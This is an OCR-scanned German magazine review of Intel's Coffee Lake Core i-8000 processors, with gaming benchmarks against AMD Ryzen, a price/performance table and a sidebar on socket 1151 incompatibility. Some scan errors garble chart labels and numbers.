17-8700 3,2 GHz 4,6/4,3 GHz 12 MiByte 2x DDR4-2666 65 Watt 303 
i5-8600K 66 3,6 GHz 4,3/4,1 GHz 9 MiByte 95 Watt 257 
15-8400 2,8 GHz 4,0/3,8 GHz 9 MiByte 65 Watt 182 
= 414 on Nicht vorhanden 2 T 2x DDR4-2400 27 IM = 


wt ШЫН 
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das, 8000er-Core-i-Modelle laufen 
weder auf Boards mit 100er- oder 
200er-Chip noch lassen sich Sky- 
und Kaby-Lake-Prozessoren auf den 
neuen Z370-Boards verwenden. Be- 
gründet wird dies mit Änderungen 
in der Pinbelegung, die unter ande- 
rem für die Stromversorgung noch 
kommender Achtkern-Modelle aus 
der Coffee-Lake-Reihe nötig sind. 
Ob diese dann jedoch tatsächlich 
auf dem Z370 laufen oder doch 
den Z390 erfordern, wird die Zeit 
zeigen müssen. Immerhin: Die ma- 
ximal spezifizierte Stromstärke für 
den Sockel entspricht mit 138 Am- 
pere auch dem Zuwachs an für 
die Stromversorgung zuständigen 
Kontakten. Die aktuellen Modelle 
jedenfalls arbeiten spezifikations- 
gemäß im angestammten TDP- 
Rahmen von 95 Watt, für die Küh- 


Bilder: Intel 


ler- und Sockelleistung inklusive 
Reserve ausreichen muss. Immer- 
hin: Die zum (alten) Sockel 1151 
kompatiblen Kühler passen nach 
wie vor. 


Schneller Speicher 

Viele Kerne brauchen auch viel 
Speicherleistung. Wie schon bei 
der Skylake-X-Plattform für den So- 
ckel 2066 spezifziert Intel für die 
Core-i7- und -i5-Modelle mit sechs 
Kernen etwas schnelleren Speicher 
als zuvor bei Kaby Lake, bleibt aber 
bei zwei Kanälen: DDR4-2667 ist 
nun das Gebot der Stunde, wäh- 
rend DDR4-2400 zum alten Eisen 
gehört, aber natürlich auch noch 
läuft und unterstützt wird. Anders 
übrigens als DDR3(L), welches 
Kaby Lake offiziell noch anspre- 
chen konnte. 
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Core i7-8700K, i5-8600K, i5-8400 und i3-8350K im Test 


ntel hat dem durch die Konkur- 
LU aufgebauten Druck nach- 
gegeben und bringt nun auch im 
Mainstream-Sockel 1151 sechs Pro- 
zessorkerne - und das nicht einmal 
nur beim Spitzenmodell. Die Core- 
i-8000-CPUs auf Basis der Coffee- 
Lake-Architektur haben 
Lagen ein Kernplus von zwei zu- 
sátzlichen Rechenwerken erhalten: 
Die i7 sind nun Sechskerner mit 
SMT, die i5 Sechskerner ohne SMT 
und die i3 waschechte Quadcores. 
Rein von der Threadzahl liegt AMD 
in den relevanten Preispunkten 


in allen 


nach wie vor vorn - doch Intel ver- 
sucht, seine traditionell und immer 
noch höhere Pro-MHz-Leistung in 
die ausgleichende Waagschale zu 
werfen. Unser Test mit Fokus auf 
die Spieleleistung prüft, ob das ge- 
lingt oder ob die Segmentierung 
bei AMD besser gelungen ist. 


7 gegen 7,5 vs.5 und 3 vs. 3 
Passenderweise sind die jeweils 
konkurrierenden Baureihen mit 
denselben Ziffern benannt. Core i7 
muss also gegen Ryzen 7 bestehen, 
i5 gegen Ryzen 5 und der i3 gegen 


AMDs Ryzen 3. Obenrum haben 
AMDs Prozessoren dabei zwei Ker- 
ne mehr, in der Mittelklasse und im 
Einsteigerbereich dagegen aktivier- 
tes Simultaneous Multithreading, 
welches es bei Intel in dieser Pro- 
zessorklasse nur beim Core i7 gibt. 


Intel-CPUs lassen sich nach wie vor 
nur übertakten, wenn ihrer Num- 
merierung ein „K“ nachgestellt ist - 
ansonsten sind Sie dem Betrieb mit 
Werksspezifikationen verpflichtet. 
Bei AMD sind alle CPUs nicht ge- 
sperrt, sodass Sie den Multiplikator 


nach Belieben verändern und die 
Taktraten anheben können. 


Preis-Leistung 

Der Chipriese hat die Preise im Ver- 
gleich zu den Vorgängern nahezu 
identisch gelassen - ebenfalls ein 
Indiz dafür, dass der Druck durch 
AMDs Ryzen Wirkung zeigt. Nur 
für die beiden „großen“ K-Modelle 
8700K und 8600K werden 20 res- 
pektive 15 US-Dollar Listenaufpreis 
fällig. Noch ist das Ganze allerdings 
recht akademisch, denn lieferbar 
sind die Sechskerner bis Redak- 


Auflösungsskalierung: The Witcher 3 


„Hierarch Square” (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 
150 à 
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50 | * Core i5-7600K 
O Core i7-7700K 
A Core i7-8700K 
25 | Mi Core i5-8600K 
@ Core i5-8400 

x Ryzen 7-1800X 


Durchschnitts-Bilder pro Sekunde 


1.280 x 720 1.920 x 1.080 2.560 x 1.440 


Auflósung 


3.840 x 2.160 


System: Intel 2370/270, AMD X370,8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. CPU-Spezifika- 
tion), Nvidia Titan X (Pascal); Win 10 64 Bit Bemerkungen: In 1440p bremst die Grafikkarte den 8700K bereits 
auf 7700k-Niveau, die restlichen CPUs halten ihre Abstände. In Ultra HD werden alle CPUs auf ein Level gebremst. 


DDR4 2Ch/2DPC 


Embedded DisplayPort 1.4 


EP 


Coffee Lake-S 


8% Gen 
Intel® Core™ 


x16 PCle 3.0 
EXPRE: 


USB 3.1 Gen 1 (5 Gb/s) 


DP 1.2/HDMI 1.4 


HDMI 2.02 
wj LSPCON 


PCIe 3.0 


Intel® Optane” Memory 
PCle 3.0 
sel 


Thunderbolt” 3 
PCIe 3.0 


SATA 3.0 


e Intel LAN PHY 
sw asp 


(CPU DON 


eSPI 
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Auf der Plattformseite stehen bei Coffee Lake trotz wechselseitiger Inkompatibilitàt 
zu Sky bzw. Kaby Lake und Z270-Mainboards keine Änderungen auf dem Plan. 


Auflósungsskalierung R. o. t. Tomb Raider (DX12) 


Auflósungsskalierung R. o. t. Tomb Raider (DX12) 


„Geothermal Valley” (720p, kein AA/AF/min. Post-Processing/Pure Hair aus) 
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Minimum-Bilder pro Sekunde 
(aus den Frametimes konvertiert) 
N су 
e [>] 


1.280 x 720 1.920 x 1.080 2.560 x 1.440 


Auflösung 


3.840 x 2.160 


„Geothermal Valley" (720p, kein AA/AF/min. Post-Processing/Pure Hair aus) 
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60 * Core i5-7600K 
O Core i7-7700K 
40 | A Core i7-8700K 
E Core i5-8600K 
20 | 6 Core i5-8400 

x Ryzen 7-1800X 


Durchschnitts-Bilder pro Sekunde 
(aus dem Perzentil P99 konvertiert) 


1.280 x 720 1.920 x 1.080 2.560 x 1.440 


Auflósung 


3.840 x 2.160 


System: Intel 7370/270, AMD X370,8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. CPU-Spezifika- 
tion), Nvidia Titan X (Pascal); Win 10 64 Bit Bemerkungen: Die minimalen Fps werden beim schnellsten Prozes- 
sor bereits in 1080p etwas geringer, sind aber erst in 1440p wirklich grafiklimitiert. In UHD sind alle CPUs gleich. 


System: Intel 2370/270, AMD X370,8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. CPU-Spezifika- 
tion), Nvidia Titan X (Pascal); Win 10 64 Bit Bemerkungen: Von 720p auf 1080p werden die CPUs noch nicht 
von der Grafikkarte gebremst — das passiert erst ab 1440p und mit Macht in Ultra-HD-Auflösung. 
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Coffee-Lake-Prozessoren im Test | SPECIAL 


. . . LL LI LI CN LI 
CPUs bis 400 Euro: Preis-/Leistungverhältnis im Überblick 
400 @ 400 
ш Intel-Prozessoren 
Œ AMD-Prozessoren 
350 Ка Р 350 
— Trendlinie CPUs bis 400 Euro 
== Trendlinie auf Basis aller CPUs 
300 300 
g 25 250 
5 
ш 
£ 
Ё 200 200 
Ф 
E 
е. 
Е 
z 150 150 
100 100 
50 50 
0 0 
0 10 20 30 40 50 60 70 80 90 100 
Normierter PCGH-Leistungsindex (jeweils acht Spiele und Anwendungen) in Prozent 
Prozessor Gesamt- Spiele- Leistungs- Prozessor Gesamt- Spiele- Leistungs- Prozessor Gesamt- Spiele- Leistungs- 
Index Index index Index Index index Index Index index 
Preis/Leist. Preis/Leist. Preis/Leist. Preis/Leist. Preis/Leist. Preis/Leist. 
1 | AMD Athlon X4 845 100% 100% 27,3% 14 | AND Ryzen 3 1300Х 57,1% 57,1% 47,5% 27 | Intel Core i5-8600K 41,5% 41,3% 82,0% 
2 | AND FX-4300 97,0% 99,6% 30,0% 15 | AND FX-9590 56,7% 52,9% 50,7% 28 | Intel Core i7-7740X 41,5% 42,1% 83,8% 
3 | AND FX-6300 79,3% 79,2% 37,9% 16 | AMD A10-7800 53,7% 53,6% 27,1% 29 | Intel Core i5-6500 40,3% 41,0% 51,2% 
4 | Intel Pentium G4400 72,5% 67,7% 22,3% 17 | Intel Core i3-8350K 51,3% 53,4% 64,5% 30 | AMD A10-7870K 39,7% 39,9% 29,3% 
5 | AMD FX-8300 68,0% 65,0% 41,6% 18 | AMD Ryzen 5 1500X 51,2% 49,5% 59,1% 32 | Intel Core i5-6600K 37,5% 37,7% 54,3% 
6 | AMD A8-7600 67,6% 67,6% 26,8% 19 | AMD Ryzen 5 1400 50,5% 48,9% 51,8% 33 | Intel Core i7-7700K 37,4% 37,6% 79,7% 
7 | AMD FX-8350 67,6% 63,4% 46,5% 20 | AMD FX-8370 50,4% 47,4% 46,9% 35 | AMD Ryzen 7 1700 36,5% 30,5% 68,4% 
8 | Intel Pentium G4560 66,2% 73,8% 41,7% 21 | AMD Ryzen 5 1600 50,2% 45,0% 65,9% 36 | Intel Core i7-6800K 36,5% 34,1% 76,2% 
9 | AND FX-6350 65,4% 64,2% 39,9% 22 | Intel Core i3-7350K 48,9% 53,5% 50,2% 37 | Intel Core i7-6700K 36,1% 36,3% 74,1% 
10 | AMD Ryzen 3 1200 62,3% 62,8% 42,6% 23 | Intel Core 15-7400 48,2% 50,1% 53,6% 38 | Intel Core i5-3570K 34,4% 35,6% 48,7% 
11 | Intel Core i3-6100 61,1% 66,9% 43,8% 24 | AMD Ryzen 5 1600X 48,1% 42,7% 69,6% 39 | AMD Ryzen 7 1700X 34,2% 28,2% 72,1% 
12 | AMD FX-8320E 60,4% 57,6% 40,6% 25 | Intel Core i5-7500 46,4% 48,1% 57,3% 40 | Intel Core i7-7800X 34,2% 30,5% 78,7% 
13 | Intel Core i5-8400 57,5% 58,0% 78,7% 26 | Intel Core i5-7600K 41,6% 42,6% 61,5% 41 | Intel Core i7-8700K 34,1% 31,7% 90,9% 
Basis: PCGH-Leistungsindex in Relation zum bei Redaktionsschluss (18.10.2017) aktuellen Marktpreis. Trendlinie durchgezogen = Prozessoren im Diagramm, Trendlinie gestrichelt = alle Prozessoren aus der untenstehenden Tabelle. 
Ausgelassen haben wir mangels Verbreitung an Platz Nr. 34 Intels Xeon E3-1230v5 (37,1 96) und an Platz Nr. 31 AMDs A10-6800K (39,0 %). 


tionsschluss nur in homöopathi- 
schen Dosen, sodass die im Einzel- 
handel aufgerufenen Preise sich 
noch nicht eingependelt haben wie 
bei den etablierten, gut lieferbaren 
Modellen. Die Preis-Leistungs-Ma- 
trix oben ist daher einstweilen mit 
einer guten Portion Salz und unter 
Vorbehalt zu genießen. Hier sticht 
speziell der sechskernige Core i5- 
8400 heraus. Er ist mit weniger 
als 200 Euro relativ günstig und 
kann seinen Turbo-Takt in vielen 
Lebenslagen gewinnbringend ein- 
setzen, sodass die niedrig anmuten- 
de Basistaktrate von 2,8 GHz nicht 
negativ ins Gewicht fällt. Für sein 
größtes Manko kann er selbst nicht 
viel: Als nicht übertaktbares Modell 
ist eine Anpaarung mit dem Over- 
clocker-PCH 7370 überdimensio- 
niert und entsprechende Boards ei- 
gentlich zu teuer. Hier wäre Warten 
auf den eigentlich passenden B360, 
mit dem auch günstigere Boards er- 
scheinen werden, angesagt. 


www.pcgameshardware.de 


Neu bei Coffee Lake 

Wie im Schaubild links angerissen, 
gibt es sowohl bei der Plattform als 
auch bei der integrierten Grafik 
keine nennenswerten Neuerungen 
- lediglich zu DDR4-2667-Support 
hat sich Intel durchringen können. 
Wohl um die zusätzlichen Kerne 
nicht mit der niedrigen Trans- 
ferrate des zweikanaligen DDR4- 
Interfaces auszubremsen. Neu bei 
den K-Modellen der Mittelklasse ist, 
dass Sie die Kerne individuell über- 
takten dürfen, sofern das UEFI des 
jeweiligen Boards dies unterstützt. 
Bastler können so das Maximum je- 
des einzelnen Kerns ausloten und 
fixieren. Für den Normalanwen- 
der hingegen ist die Funktion eher 
akademischer Natur, zumal es nach 
wie vor nicht möglich ist, für jeden 
Core eine individuelle Spannung 
festzulegen. 


Wieviel die Fertigung im sogenann- 
ten „l4 nm++“-Verfahren bringt, 


Pro-MHz-Leistung mit vier bis 12 Threads 


Rise of the Tomb Raider DX12 „Geo Valley" (720p, kein AA/AF/PP/Pure Hair) 


Core i7-8700K (6c/12t, 12M) Ea e 186,6 (461 96) 
Core i7-8700K (@6c/6t, 12M) ws 9 165,3 (+43 96) 
Core i7-8700K (@4c/&t, 12M) Egg eu 161,3 (+39 %) 

Core i5-8600K (6c/6t, 9M) gt Es 159,0 (+37 96) 
Core i7-7700K (4c/8t, ЗМ) Es pes 156,7 (+35 %) 
Core i5-7600K (4/41, 6M) Logg pu 116,0 (Basis) 


The Witcher 3 „Hierarch Square" (720p, kein AA/AF/PP, Gameworks aus) 


Core i7-8700K (6c/12t, 12M) aS 155,3 (+52 %) 
Core i7-8700K (@6c/6t, 12M) E099 ems 143,9 (+41 96) 
Core i5-8600K (6c/6t, 9M) Ee es 139,1 (+36 96) 
Core i7-8700K (@4c/&t, 12M) Eo 138,3 (+36 96) 
Core i7-7700K (4c/8t, ЗМ) ВО 134,2 (+32 96) 
Core i5-7600K (4c/4t, 6M) EX Eu 101,9 (Basis) 


Crysis 3 Helde" (720p, kein AA/AF/PP) 


Core i7-8700K (6c/12t, 12M) Ep pw 188,7 (+82 %) 
Core i7-8700K (@6c/6t, 12M) Egg c 153,6 (+48 %) 

Core i5-8600K (6c/6t, 9M) Egg 153,6 (+48 96) 
Core i7-8700K (G4c/8t, 12M) Lët E 139,1 (+34 96) 

Core i7-7700K (4c/8t, ЗМ) Eg 9 136,2 (+31 %) 

Core i5-7600K (4c/4t, 6M) Esp E 103,6 (Basis) 


System: CPUs fix @ 4,0 GHz Core/Ring/LLC, Energiesparfunktionen und Turbo aus, 
2370/270,2x 8 GiB DDR4-2667 (15-14-14-34-1T), Nvidia Titan X (Pascal) 9120 96 
Power-Target/90 °C Temp.-Target (GF 385.41 HQ); Windows 10 x64 (1703) 


Mimil Ø Fps 


» Besser 
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F1 2015: Sechskern-Profiteur 


The Witcher 3: Kerne und Takt entscheidend 


„Stormy Spain" (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-7800X (3,5+ GHz — 6с/121) Egg 112,1 


AMD Ryzen 7 1700 (3,0+ GHz – 8c/16t) ua 88,6 (+51 %) 
AMD Ryzen 5 1600X (3,6+ GHz – 6c/12t) ME 88,6 (+51 96) 


Intel Core i7-7820X (3,6+ GHz — 8с/161) EX 106 129,1 (+120 96) 


(+91 96) 


Intel Core i7-8700K (3,7+ GHz — 61222 ES] ШЕШШ 107,7 (+83 %) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) Eg ШЕШШ 104,3 (+77 %) 
Intel Core i7-4960X (3,6+ GHz — 6122) Eg ШЕШ 101,8 (+73 96) 
Intel Core i5-8600K (3,6+ GHz — 6c/6t) ES] ИЕШЕ 96,7 (+64 %) 
Intel Core 15-8400 (2,8+ GHz – 6c/6t) e ИЕШЕ 95,9 (+63 %) 
AMD Ryzen 7 1800X (3,6+ GHz – 8с/161) [Ege ШЕШ 92,7 (+58 %) 


„Hierarch Square” (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


Intel Core i7-8700K (3,7+ GHz - 6122 Fee 143,1 (+71 %) 
Intel Core i5-8600K (3,6+ GHz — б/б) EEE 132,6 (4-59 96) 

Intel Core i7-7820X (3,6+ GHz – 8c/16t) [Ea 131,7 (+58 %) 

Intel Core i5-8400 (2,8+ GHz — бс/61) ВОЗИ 131,2 (+57 96) 

Intel Core i7-7700K (4,2+ GHz — 4480 DEE 125,5 (+50 96) 

Intel Core i7-7800X (3,5+ GHz – 61/121) idt 119,1 (+43 96) 

Intel Core i7-6800K (3,4+ GHz - 6.12) ШОО 8 118,3 (+42 %) 

Intel Core 17-4960Х (3,6+ GHz – 67/121) IU B arms G0WRGRIOINKCIGN08IlI 113,5 (+36 96) 

AMD Ryzen 7 1800X (3,6+ GHz — 8с/161) DIN 109,9 (+32 96) 

Intel Core i7-4790K (4,0+ GHz — 4c/8t) gin 104,6 (+25 96) 


Intel Core i7-7700K (4,2- GHz — 4c/8t) EX 88,6 (+51 96) 
AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) СОТ 76,8 (+31 96) 
Intel Core i3-8350K (4,0 GHz – 4c/4t) MEMS 72,4 (+23 96) 

Intel Core i7-4790K (4,0+ GHz – 4c/8t) Xs 71,2 (+21 96) 
Intel Core i7-3770K (3,5+ GHz – 4c/8t) Esq pu 68,6 (4-17 96) 
Intel Core i5-7600K (3,8+ GHz — Ac/4t) ss 68,1 (+16 96) 
Intel Core i7-990X (3,5+ GHz — 6c/12t) Esau 64,4 (+10 96) 
Intel Core i5-7400 (3,0+ GHz — Ac/4t) Eg 60,9 (4-4 96) 

Intel Core i5-6600K (3,5-- GHz – 4c/4t) X53 58,8 (Basis) 

AMD Ryzen 3 1300X (3,44- GHz - 4c/4t) EX 57,3 (-3 96) 
) 
) 


3 


Intel Core i3-7350K (4,2 GHz — 2c/4t) Xa 57,1 (-3 %) 
AMD FX-8350 (4,0+ GHz – Am/8t) EZB] IN 56,6 (-4 90) 
Intel Core i7-2600K (3,4+ GHz – 4c/8t) ШЕ 54,6 (-7 96) 
Intel Core i5-4690K (3,5+ GHz – 4c/4t) EEE 54,1 (-8 96) 
AMD Phen. Il X6 1100T (3,3+ GHz — 6c/6t) ШО 28,9 (-51 96) 


3 


AMD Ryzen 5 1500X 


( 
( 
Intel Core i7-2600K ( 
( 


AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) [Egg 104,0 (+25 96) 
АМО Ryzen 7 1700 (3,0+ GHz — 8c/16t) EBEN 101,6 (+22 96) 
Intel Core i3-8350K (4,0 GHz – 40 ESS] 100,5 (+20 96) 
Intel Core i7-3770K (3,5+ GHz – 4c/8t) Egg 95, 1 (+14 96) 
Intel Core i5-7600K (3,8- GHz – 4c/4t) Eg 8 94,5 (+13 96) 
3,5+ GHz – 40/80) jg 93,4 (+12 9) 
3,4+ GHz - 4.80) Egit 84,3 (+1 96) 
Intel Core i5-7400 (3,0+ GHz — 4c/4t) ШЕЕ 84,2 (+1 96) 
Intel Core i5-6600K (3,5+ GHz — 4c/4t) galt 83,5 (Basis) 
Intel Core i7-990X (3,5+ GHz – 6/12) mnt 82,1 (-2 *6) 
Intel Core i5-4690K (3,5+ GHz — 4c/4t) ISSEIIIIG/GÇ€IXéI@WÜUI€ 79,9 (-4 *6) 
Intel Core i3-7350K (4,2 GHz - 2c/4t) Eat 78,2 (-6 %) 
AMD FX-8350 (4,0+ GHz — 4m/8t) |t 76,4 (-9 9o) 
AMD Ryzen 3 1300X (3,4+ GHz — 4c/4t) Een 70,7 (-15 96) 
AMD Phen. Il X6 1100T (3,3+ GHz — 6c/6t) EZB 49,3 (-41 96) 


System: Intel X99/79/58, 2370/270/297/277, AMD X370/990FX, 8 GiB RAM pro Speicher- 
kanal (Geschw. jeweils laut max. CPU-Spez.), GTX 980 Ti @ 1,38/3,9 GHz; Win 10 64 Bit 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9), um Grafiklimit zu minimieren. 


Mimil 2 Fps 


> Besser 


System: Intel X99/79/58, 7370/270/797/777, AMD X370/990FX, 8 GiB RAM pro Speicher- 
kanal (Geschw. jeweils laut max. CPU-Spez.), GTX 980 Ti @ 1,38/3,9 GHz; Win 10 64 Bit 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9), um Grafiklimit zu minimieren. 


Mimil ø Fps 


» Besser 


AC Syndicate: Vier Kerne eigentlich ausreichend 


„Bishopsgate” (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-8700K (3,7+ GHz - 61222 133,0 (+49 %) 
Intel Core i7-7820X (3,6+ GHz – 8c/16t) a 131,5 (+48 96) 
Intel Core i7-7700K (4,2+ GHz - 4c/8t) N 131,2 (+47 96) 
Intel Core i7-7800X (3,5+ GHz – 6с/121) maaa 130,2 (+46 96) 
Intel Core i7-6800K (3,4+ GHz – 6c/12t) ME 130,0 (+46 %) 
Intel Core i5-8600K (3,6+ GHz — 6c/6t) TE 124,5 (+40 %) 
Intel Core 15-8400 (2,8+ GHz — 6c/6t) EEE 123,2 (+38 %) 
Intel Core 17-4960Х (3,6+ GHz — 6с/121) WA 119,7 (+34 %) 
AMD Ryzen 7 1800X (3,6+ GHz — 8с/161) I 110,1 (+24 %) 
Intel Core i7-4790K (4,0+ GHz — 4c/8t) DE 110,0 (+23 %) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) [gg 106,3 (+20 96) 
AMD Ryzen 7 1700 (3,0+ GHz – 8с/161) ES 104,8 (+18 %) 
Intel Core i3-8350K (4,0 GHz – 4с/41) Twas 102,0 (+14 96) 
Intel Core i7-3770K (3,5+ GHz – 4c/8t) gana 100,2 (+12 96) 
Intel Core i5-7600K (3,8+ GHz – 4c/4t) gant 99,7 (+12 96) 
Intel Core i7-990X (3,5+ GHz – 67/121) gat" 94,5 (+6 96) 
AMD Ryzen 5 1500X (3,5+ GHz — 4с/8:) ES 93,8 (+5 96) 
Intel Core 15-7400 (3,0+ GHz – 4c/4t) gat 91,1 (+2 96) 
Intel Core i5-6600K (3,5-- GHz – 4c/4t) gre: 89,1 (Basis) 
) 85,0 (-5 96) 
) 


Intel Core i5-4690K (3,5+ GHz — 4c/4t) 
Intel Core i7-2600K (3,4+ GHz — 4c/8t) Xm 84,9 (-5 96) 
Intel Core i3-7350K (4,2 GHz — 2/4) EX 81,4 (-9 96) 

AMD FX-8350 (4,0-- GHz – 4m/8t) oti 76,0 (-15 96) 
AMD Ryzen 3 1300X (3,4+ GHz — 4c/4t) ESS 71,6 (-20 96) 


AMD Phen. Il X6 11007 (3,3+ GHz — 6c/6t) agr 56,5 (-37 96) 


System: Intel X99/79/58, 2370/270/297/277, AMD X370/990FX, 8 GiB RAM pro Speicher- 
kanal (Geschw. jeweils laut max. CPU-Spez.), GTX 980 Ti @ 1,38/3,9 GHz; Win 10 64 Bit 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9), um Grafiklimit zu minimieren. 


Mimil 2 Fps 


» Besser 
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loten wir im Tuning-Teil dieses Spe- 
cials aus. 


CPU- vs. Grafikleistung 
Unsere normalen Tests finden in 
720p statt, damit die Grafikkarte 
nicht zum limitierenden Faktor 
wird. Wir wollen Ihnen jedoch 
nicht verschweigen, dass die CPU- 
Performance weniger 
durchschlägt, je höher Sie die Auf- 
lösung und Grafikdetails einstellen. 
Dies verdeutlichen die Verlaufsdia- 
gramme auf der vorigen Doppel- 
seite: Während sich mit der dort 
verwendeten Nvidia Titan X (Pas- 
cal) noch bis 1080p quasi nichts 
tut, fängt selbst die schnelle Grafik- 
karte in 1440p an, die CPUs einzu- 
bremsen, sodass der Eindruck ent- 
steht, die Leistung sinke. Das liegt 
jedoch allein an der verfügbaren 
Grafikleistung: Erscheint nächstes 
Jahr eine doppelt so flotte Grafik- 
karte, bleibt das gezeigte Leistungs- 
bild auch in 1440p oder höher er- 
halten. Da Prozessoren in der Regel 
ein längeres Leben in Spiele-PCs 
haben als Grafikkarten, lohnt sich 
also der Ausschluss dieses Faktors, 
um die wahre Leistungsfähigkeit 
der Prozessoren zu ermitteln. 


immer 


Pro Megahertz 

Auch wenn die Architektur sich 
gegenüber den Vorgängern nicht 
verändert hat und nur zusätzliche 
Kerne hinzugekommen sind, ha- 
ben wir einige aktuelle Spiele bei 
gleichen Taktraten geprüft. Unser 
Benchmark auf der vorigen Seite 
zeigt die Skalierung bei identi- 
schen 4,0 GHz für Kerne, Ringbus 
und Last-Level-Cache. Stromspar- 
Funktionen wie C-States haben wir 
dabei abgeschaltet, sodass dieser 
Takt konstant anliegt. 


Zwischen den Konfigurationen mit 
vier Kernen und Hyperthreading 
sowie sechs echten Kernen ohne 
die virtuellen Threads liegt nur in 
Crysis 3 ein etwas größerer Unter- 
schied von rund 14 Fps (+10 Pro- 
zent), während es RotTR im DX12- 
Modus und The Witcher 3 beinahe 
egal ist, ob acht virtuelle oder sechs 
echte Kerne ihre Befehle entge- 
gennehmen. Andererseits profitie- 
ren beide Titel wie auch Crysis 3 
in noch höherem Maße von sechs 
Kernen inklusive SMT, sodass die 
entsprechende Konfiguration in 
jedem der drei Tests deutlich vorn 
liegt. Quadcores wie der i5-7600K 
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Die Sockel 1151: Zwei Plattformen, ein Name, keine Kompatibilität? 


Die Core-i-8000-Modelle nutzen zwar das 
bekannte mechanische Sockel-1151-For- 
mat und Intel übernimmt diese Bezeich- 
nung unverändert sowohl für Prozessoren 
als auch Mainboards. Trotzdem läuft 
Coffee Lake (im Bild links) ausschließlich 

in neuen Mainboards mit 2370-РСН — 
welche ihrerseits nicht mit älteren Sky- und 
Kaby-Lake-Vertretern (im Bild rechts) um- 
gehen können. Am namensgebenden PCH 
liegt dies nicht, tatsächlich ist der 7370 
funktional und wohl auch im Silizium iden- 
tisch zum altbekannten 7270; der Sockel 
trägt die Bezeichnung „1151“ ebenfalls 
zu Recht: Weder Zahl noch Anordnung der 
Kontakte haben sich geändert. 


Mittlerweile verfügbaren Intel-Angaben zu 
Folge unterscheidet sich aber die Belegung 
einzelner Kontakte. Mehrere zuvor als 
„reserved“, also ungenutzt gelistete 
Kontakte dienen jetzt der Stromversorgung 
der CPU. 147 statt bislang 129 Kontakte 
(+14 Prozent) liefern Strom für die 
Rechenkerne, die Zahl der gemeinsamen 
Masse-Pins steigt von 385 auf 394. Gut 
informierten Kreisen zu Folge ist dies eine 
selbst für Intel unerwartete Neuerung: 


Ursprüngliche Coffee-Lake-Samples sollen 
bis in den Frühsommer hinein im originalen 
Sockel 1151 getestet worden sein. Die 
Änderungen zugunsten einer höheren 
maximalen Stromaufnahme wurden erst so 
spät beschlossen, dass keine mechanische 
Differenzierung zwischen altem und 
neuem Sockel 1151 mehr möglich war. 

Die gestiegene Pin-Anzahl deckt sich 
hierbei auffallend gut mit Gerüchten zur 
nachträglich gestarteten Entwicklung von 
achtkernigen Coffee-Lake-Modellen mit 
einer TDP von 112 W (+18 Prozent). 


Unklar blieb bis Redaktionsschluss, warum 
nicht einmal die kleinen 65-W-TDP-Cof- 
fee-Lake-Modelle in alten Mainboards 
laufen. Schließlich sind diese für 
95-W-TDP-Skylake-CPUs freigegeben und 
im OC-Betrieb regelmäßig mit weit mehr 
als 112 W unterwegs. Spekulationen, dass 
einige der als , reserviert" gekennzeichne- 
ten Kontakte heimlich für nicht dokumen- 
tierte Diagnose- und Übertakterfunktionen 
genutzt wurden, konnten auf Nachfrage 
nicht bestátigt werden. Somit gilt auch 
umgekehrt für Sky- und Kaby-Lake-CPUs 
in neuen Mainboards: Den vorliegenden 


Informationen zu Folge finden diese auf 
2370-Platinen alle benötigten Ressourcen 
und sollten sich an der erweiterten Strom- 
versorgung nicht stóren, da die entspre- 
chenden Kontaktfláchen bei àlteren CPUs 
keine Verbindung zum Silizium haben. 


Tatsächlich absolvieren Z370-Mainboards 
mit Kaby-Lake-CPU erfolgreich die früheste 
Boot-Phase, schalten sich dann aber vor 
Erreichen des POST selbst ab. Mutmaßliche 
Ursache ist Intels Management Engine, 

die gleichzeitig mit der neuen Generation 
von Version 10 auf 11 aktualisiert wurde. 
Bereits bei Sockel-1150-Broadwell- und 
Sockel-1151-Xeon-CPUs nutzte 


ge 


m SC GE) 


Intel die bislang unumgehbare IME als 
Sperre gegen unerwünschte System-Kon- 
figurationen. Alte Mainboards mit IME 10 
haben daher ungeachtet ihrer physischen 
Fähigkeiten keine Chance, eine ihnen 
unbekannte Coffee-Lake-CPU zu booten, 
während die neue Version 11 nur Kombi- 
nationen aus 7370 und Core i-8000 zulas- 
sen dürfte. Für den Endanwender ergeben 
sich also spätestens auf Firmware-Ebene 
zwei vollständig inkompatible Plattformen, 
denen Intel leider den gleichen Namen 
gegeben hat — passen Sie also bei der 
Systemzusammenstellung genau auf. 
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Führen Sie Ihr Volk durch Jahrzehnte vol- 
ler Aufbau, Forschung und Eroberung. 

Steigen Sie vom einfachen Bürgermeister 
bis zum Herrscher über ganz Europa auf! 
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sind in diesen Spielen hingegen 
deutlich abgeschlagen. Allerdings 
gibt es noch genügend Titel, bei de- 
nen auch vier Kerne noch vollkom- 
men ausreichende Performance 
liefern. Wie sich diese Fps-Leistung 
in Sachen gleichmäßigem Bildauf- 
bau niederschlägt, zeigen unsere 


Frametime-Diagramme auf der 
dieser Doppelseite. Während der 
Testläufe fiel auf, dass sich speziell 
die beiden Stocker (Sek. 5 und 17) 
in Rise of the Tomb Raider auf den 
schnelleren Systemen stärker nega- 
tiv bemerkbar machten. Denn ob- 
wohl sie objektiv gesehen in etwa 


dieselben Frametime-Werte bei al- 
len Prozessoren darstellen, stechen 
sie aus den ansonsten glatten Fps 
der i7-8700K und i5-8400 deutli- 
cher heraus. 


An die sehr glatten Frametime-Ver- 
läufe beim Ryzen 7 1800X in Cry- 


sis 3 und The Witcher 3 kommt nur 
der i7-8700K knapp heran - Vier- 
kerner sind hier chancenlos. 


Benchmarkauswahl 

Wie immer sind wir bemüht, Ih- 
nen auf begrenztem Raum einen 
guten Benchmark-Mix zu bieten: 


Rise of the Tomb Raider: Die aktuelle Version der Lara-Croft-Abenteuer hat durch einen Patch verbesserte Mehrkern- sowie Ryzen-Unterstüzung erhalten. Hier analysieren 
